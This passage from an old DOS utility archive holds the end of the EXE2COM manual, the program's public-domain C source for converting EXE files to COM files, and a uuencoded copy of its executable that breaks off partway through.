        ---------------
        EXE2COM has one warning message:
                                                                             
            COM FILE, INITIAL IP NOT 100H
                                                                             
        The entry point of all COM files should be 100H.  If you are
        creating a COM file an the entry point is not 100H, EXE2COM will
        do the job but let you know that there is a potential problem.
                                                                             
                                                                             
        Source
        ------
        Source code should be included with this archive.  Users are
        encouraged to modify, improve, and/or correct the source for
        EXE2COM and submit the new program to the author for
        distribution.  Please identify clearly any changes made and
        stick with portable code (no inline assembler, PLEASE).
                                                                             
        Source for EXE2COM was written for the Microsoft C compiler
        (v.5.0) but will also compile correctly with Borland's Turbo C
        (v.1.5).  It should be easily portable to most other compilers.
                                                                             
                                                                             
        Public domain
        -------------
        EXE2COM is hereby donated by the author to the public domain.
                                                                             
                                                                             
        History
        -------
        Version 1.00 04/17/87: Original version by
            Christopher J. Dunford
            The Cove Software Group
            PO Box 1072
            Columbia, MD 21044
            (301) 992-9371
            CompuServe 76703,2002
                                                                             
        Version 1.01: port to Turbo C by
            Roger Schlafly
            Borland International
            Scotts Valley, CA 95066
            CompuServe 76067,511
                                                                             
        Version 1.02 11/22/87: bug fix for even 512-byte file made to
        Turbo C port by
            Chris Blum ( Consultant )
            509 West Main, Front
            Ashland, Ohio 44805
            CompuServe 76625,1041
                                                                             
            Chris Dunford duplicated the fix in the C86 source.
                                                                             
        Version 1.03 12/30/87: by Chris Dunford
            Ported to Microsoft C 5.0.  This is now the "official"
            version.
                                                                             
            Increased size of I/O buffer to 4K for speed reasons.
            EXE2COM 1.03 is twice as fast as 1.02 and slightly
            faster than EXE2BIN.
                                                                             
        Version 1.04 03/08/88: by Chris Dunford
            Cleaned up some old code from the original quickie.
                                                                             
            Source should now compile under either MSC or TC.
                                                                             
            Added /I switch.
                                                                             
            In earlier versions, we defined an error code for nonzero
            CS, but didn't actually check; now we do.
                                                                             
                                                                             
                                                                             
   
                    Codigo Fonte (Original) em C
   
                                                                             
                                                                             
                                                                             
/*                                                                           
    exe2com - exe2bin replacement by Chris Dunford/Cove Software
                                                                             
    usage: exe2com [/I] infile [outfile]
                                                                             
    usage is the same as exe2bin except:
        1. Output defaults to COM rather than BIN
        2. Binary fixup option not supported
        3. Checksum not verified
        4. Provides more useful error messages and a warning if a
           COM file is being created with initial IP != 0x100
        5. /I switch provides EXE file info instead of converting
                                                                             
    Compiler notes:
        This source was written for Microsoft C version 5.0.  It
        should be reasonably portable.  Watch out for fseek();
        what it returns seems to vary widely between compilers.
                                                                             
        To compile with MSC, use:
                                                                             
            cl exe2com.c  (no switches necessary)
                                                                             
        We have checked that the source (as of version 1.04) compiles
        without error under Turbo C 1.5.  It appears to operate correctly,
        but we ran only some quick tests; there may be subtle errors here.
                                                                             
    The original version of this program was knocked together in about
    an hour in response to the removal of EXE2BIN from the standard DOS
    distribution disks.  Improvements/corrections are encouraged, but
    please try to coordinate public releases through me.
                                                                             
    Program donated to the public domain by the author.
                                                                             
    cjd 4/17/87
                                                                             
                                                                             
    Version history
    ---------------
    Version 1.04 03/02/88 (CJD)
        Cleaned up some ugly code from the original quickie. Added
        /I (info) switch.  In previous versions, we defined an
        error code for nonzero CS but didn't actually check it; now
        we do.  Source will now compile under either Microsoft C or
        Turbo C.
                                                                             
    Version 1.03 12/30/87 (CJD)
        C86 version converted to Microsoft C (5.0) by Chris
        Dunford.  Increased size of I/O buffer to 4K to improve
        speed; EXE2COM 1.03 is twice as fast as 1.02 and is now
        slightly faster than EXE2BIN.  The C86 version will no
        longer be distributed.
                                                                             
    Version 1.02 11/22/87
    by Chris Blum (CompuServe 76625,1041)
        Fix for even 512-byte boundary file losing last 512 bytes.
        Also corrected signon per request of Chris Dunford (his name
        was lost in the translation to Turbo C).  Version 1.02
        existed in both Turbo C and C86 versions, although only
        the C86 executable was "officially" distributed.
                                                                             
    Version 1.01 was a Turbo C conversion.
                                                                             
    Version 1.00 04/17/87
        Original C86 version by Chris Dunford
                                                                             
*/                                                                           

#include <stdio.h>
#include <string.h>
#include <ctype.h>

/* Version coding */
#define MAJVER   1
#define MINVER   0
#define REVISION 4

/* Conversion error codes */
#define BADREAD  0
#define BADWRITE 1
#define BADSIG   2
#define HASRELO  3
#define HAS_SS   4
#define HAS_CS   5
#define BAD_IP   6
#define TOO_BIG  7
/* This must be the last code */
#define UNKNOWN  8

/* Define size of console output buffer */
#define CONBUFSIZ 2048

/*
**  Define structure of fixed-format part of EXE file header
*/
struct exe_header {
        char exe_sig[2];    /* EXE file signature: "MZ" */
    unsigned excess,        /* Image size mod 512 (valid bytes in last page) */
             pages,         /* # 512-byte pages in image */
             relo_ct,       /* Count of relocation table entries */
             hdr_size,      /* Size of header, in paragraphs */
             min_mem,       /* Min required memory */
             max_mem,       /* Max required memory */
             ss,            /* Stack seg offset in load module */
             sp,            /* Initial value of SP */
             cksum,         /* File checksum */
             ip,            /* Initial value of IP */
             cs,            /* CS offset in load module */
             relo_start,    /* Offset of first relo item */
             ovl_num;       /* Overlay number */
} xh;

FILE *fi,                   /* Input file stream */
     *fo;                   /* Output file stream */

char fin[129],              /* Input file name */
     fon[129];              /* Output file name */

int  info=0;                /* Nonzero if /I found */

char buf[CONBUFSIZ];        /* printf I/O buffer */

char defext[] = ".com";     /* Default output extension - change if you want */

unsigned long code_start,   /* Offset of program image in EXE file */
              code_size;    /* Size of program image, in bytes */

/* Function prototypes */
void init (unsigned, char *[]);
void read_hdr (void);
void disp_info (void);
void convert (void);
void err_xit (unsigned);
void usage (void);

/*
**  program mainline
*/
main(argc, argv)
unsigned argc;
char *argv[];
{
    init (argc, argv);
    read_hdr ();
    if (info)
        disp_info ();
    else
        convert ();
}


/*
**  Initialize - parse arguments, get filenames, open/create files
*/
void init (argc, argv)
unsigned argc;
char **argv;
{
char c, *cp;
int i;

    /* Set up buffered output, display logo */
    setvbuf (stdout, buf, _IOFBF, CONBUFSIZ);
    printf ("exe2com %u.%u%u by Chris Dunford/The Cove Software Group\n",
             MAJVER, MINVER, REVISION);

    /* Get arguments */
    cp = *(++argv);
    for (i=1; i < argc; i++) {
        while ( (cp = strchr (cp, '/')) != (char *) NULL) {
            *cp++ = '\0';
            c = *cp++;
            switch (toupper (c)) {
                case 'I':
                    info = 1;
                    break;
                default:
                    usage ();
            }
        }

        if (**argv)
            if (fin[0] == '\0')
                strcpy (fin, strlwr (*argv));
            else if (fon[0] == '\0')
                strcpy (fon, strlwr (*argv));
            else
                usage ();

        cp = *(++argv);
    }

    /* Check to ensure that an input filename was found *.
    if (fin[0] == '\0') usage ();

    /* If the input file has no extension, add .EXE */
    if (strchr (fin, '.') == (char *) NULL)
        strcat (fin, ".exe");

    /* Copy input name to output if unspecified */
    if (fon[0] == '\0')
        strcpy (fon, fin);

    /* Check output extension--change EXE to COM, or add COM */
    if ((cp = strchr (fon, '.')) == (char *) NULL)
        strcat (fon, defext);
    else if (strcmp (cp, ".exe") == 0)
        strcpy (cp, defext);

    /* Try to open input file */
    if ((fi = fopen (fin, "rb")) == (FILE *) NULL) {
        fprintf (stderr, "exe2com: can't find input file %s\n", fin);
        exit (1);
    }

    /* Try to create output file, if INFO not requested */
    if (!info)
        if ((fo = fopen (fon, "wb")) == (FILE *) NULL) {
            fprintf (stderr, "exe2com: can't open output file %s\n", fin);
            exit (1);
        }
}


/*
**  usage display
*/
void usage (void)
{
    fprintf (stderr, "usage: exe2com [/I] infile [outfile]\n");
    exit (1);
}


/*
**  Read and check the EXE file header
*/
void read_hdr(void)
{
char *cp;

    /* Read the formatted portion of the header */
    if (!fread (&xh, sizeof (struct exe_header), 1, fi))
        err_xit (BADREAD);

    /* Check for "MZ" signature */
    if (strncmp (xh.exe_sig, "MZ", 2))
        err_xit (BADSIG);

    /* Compute offset of program image in module, and program size.
    **
    ** The program size is computed as follows; it cannot exceed 64K bytes:
    **     512 * (# EXE pages - 1)
    **   + valid bytes in last EXE page
    **   - offset of program image in EXE file
    **
    ** Note that if the IP is nonzero, we will skip the first
    ** IP bytes of the program image, and copy IP bytes fewer
    ** than the actual size.
    */
    code_start = ((unsigned long) xh.hdr_size) << 4;
    code_size = (unsigned long) (xh.pages-1) * 512
        + (xh.excess ? xh.excess : 512)    /* fixed 11/19/87 - CJB */
        - code_start;

    /* Don't check anything else if /I requested */
    if (info) return;

    /* Check header; to be convertible, must have:
    **      -- no relocatable items
    **      -- no stack segment
    **      -- no code segment
    **      -- IP == 0 or 100
    **      -- code size < 65536
    */
    if (xh.relo_ct)
        err_xit (HASRELO);
    if (xh.ss || xh.sp)
        err_xit (HAS_SS);
    if (xh.cs)
        err_xit (HAS_CS);
    if (xh.ip != 0 && xh.ip != 0x100)
        err_xit (BAD_IP);
    if (code_size > 65536L)
        err_xit (TOO_BIG);

    /* Issue a warning if COM file and IP != 0x100 */
    if (!strcmp (strchr (fon, '.'), ".com") && xh.ip != 0x100)
        fprintf (stderr, "exe2com warning: COM file, initial IP not 100H\n");

}


/*
**  /i output: display EXE file info
*/
void disp_info (void)
{
char *cp;
unsigned long k;

    cp = strrchr (fin, '\\');
    if (!cp) cp = strchr (fin, ':');
    cp = cp ? cp++ : fin;
    printf ("\n%-20s          (hex)      (dec)\n",cp);

    k = (unsigned long) (xh.pages-1) * 512 + (xh.excess ? xh.excess : 512);
    printf ("  EXE file size               %5lX    %7lu\n", k, k);

    printf ("  EXE header size (para)       %4X    %7u\n", xh.hdr_size, xh.hdr_size);

    putchar (code_size > 65536L ? '*' : ' ');
    printf (" Program image size (bytes)  %5lX    %7lu\n", code_size, code_size);

    k = (unsigned long) xh.min_mem * 16 + code_size;
    printf ("  Minimum load size (bytes)   %5lX    %7lu\n", k, k);

    printf ("  Min allocation (para)        %4X    %7u\n", xh.min_mem, xh.min_mem);

    printf ("  Max allocation (para)        %4X    %7u\n", xh.max_mem, xh.max_mem);

    putchar (xh.cs || (xh.ip != 0x100) ? '*' : ' ');
    printf (" Initial CS:IP           %04X:%04X\n", xh.cs, xh.ip);

    putchar (xh.ss || xh.sp ? '*' : ' ');
    printf (" Initial SS:SP           %04X:%04X    %7u (stack size)\n", xh.ss, xh.sp, xh.sp);

    putchar (xh.relo_ct ? '*' : ' ');
    printf (" Relocation count             %4X    %7u\n", xh.relo_ct, xh.relo_ct);

    printf ("  Relo table start             %04X    %7u\n", xh.relo_start, xh.relo_start);

    printf ("  EXE file checksum            %04X    %7u\n", xh.cksum, xh.cksum);

    printf ("  Overlay number               %4X    %7u\n", xh.ovl_num, xh.ovl_num);

    printf ("* = this item prevents conversion to BIN/COM\n");
}

/*
**  Convert the file.  Nothing to do, really, other than
**  reading the image (which follows the header), and
**  dumping it back out to disk.
*/
void convert (void)
{
#define BUFSIZE 16384
static char buffer[BUFSIZE];  /* Forces buffer out of program stack */
unsigned bsize;

    /* Seek to start of program image, skipping IP bytes */
    if (fseek (fi, code_start+xh.ip, 0))
        err_xit (BADREAD);

    /* Read blocks and copy to output */
    for (code_size -= xh.ip; code_size; code_size -= bsize) {

        /* Set count of bytes to read/write */
        bsize = code_size > BUFSIZE ? BUFSIZE : code_size;

        /* Read and write block */
        if (!fread (buffer, bsize, 1, fi))
            err_xit (BADREAD);
        if (!fwrite (buffer, bsize, 1, fo))
            err_xit (BADWRITE);
    }

    /* All done, close the two files */
    fclose (fi);
    fclose (fo);
}


/*
**  Display an error message, delete output file, exit.
*/
void err_xit (code)
unsigned code;
{
static char *msg[UNKNOWN+1] = {
        "error reading EXE header",
        "error writing output file",
        "invalid EXE file signature",
        "EXE has relocatable items",
        "EXE has stack segment",
        "EXE has nonzero CS",
        "IP not 0 or 100H",
        "program exceeds 64K",
        "unknown internal error"
};

    if (code > UNKNOWN) code = UNKNOWN;
    fprintf (stderr, "exe2com: %s, can't convert\n", msg[code]);

    /* Close two files and delete partial output */
    fclose (fi);
    fclose (fo);
    unlink (fon);

    /* Exit with errorlevel 1 */
    exit (1);
}
                                                                             
   
                            EXE2COM UUencodado
   
                                                                             
begin 600 exe2com.exe
M35IK`1T`!``@`%<%__]-"``('4$L!P``'@````$`)`#P`C<'``#"!P``N`#P
M`@``````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````58OL,\#H7@G_=@;_
M=@3H&0"#Q`3H!P*#/D(``'0&Z$<#7<.0Z-T%7<.058OLN`8`Z#,)5K@`"%`K
MP%"X!DY0N"P!4.CL*H/$"+@$`%`KP%"X`0!0N(P#4.A5$(/$"(-&!@*+7@:+
M!XE&_L=&^@$`ZV>0BD;\F#U)`'0%Z((!ZV#'!D(``0#K6(M>!HLW@#P`=#>`
M/OY*`'455NC-*X/$`E"X_DI0Z#@E@\0$ZQR0@#Z$30!U$8M>!O\WZ*TK@\0"
M4+B$3>O>Z#<!@T8&`HM>!HL'B4;^_T;ZBT8$.4;Z<SRX+P!0_W;^Z"HK@\0$
MB4;^"\!TE(O8_T;^Q@<`BU[^_T;^B@>(1OR8B]CVAWL"`G4#Z5[_F"T@`.E;
M_Y"X+@!0N/Y*4.CM*H/$!`O`=0ZXQ@-0N/Y*4.AG)(/$!(`^A$T`=0ZX_DI0
MN(1-4.B2)(/$!+@N`%"XA$U0Z+@J@\0$B4;^"\!U#KA$`%"XA$U0Z"\DZQR0
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
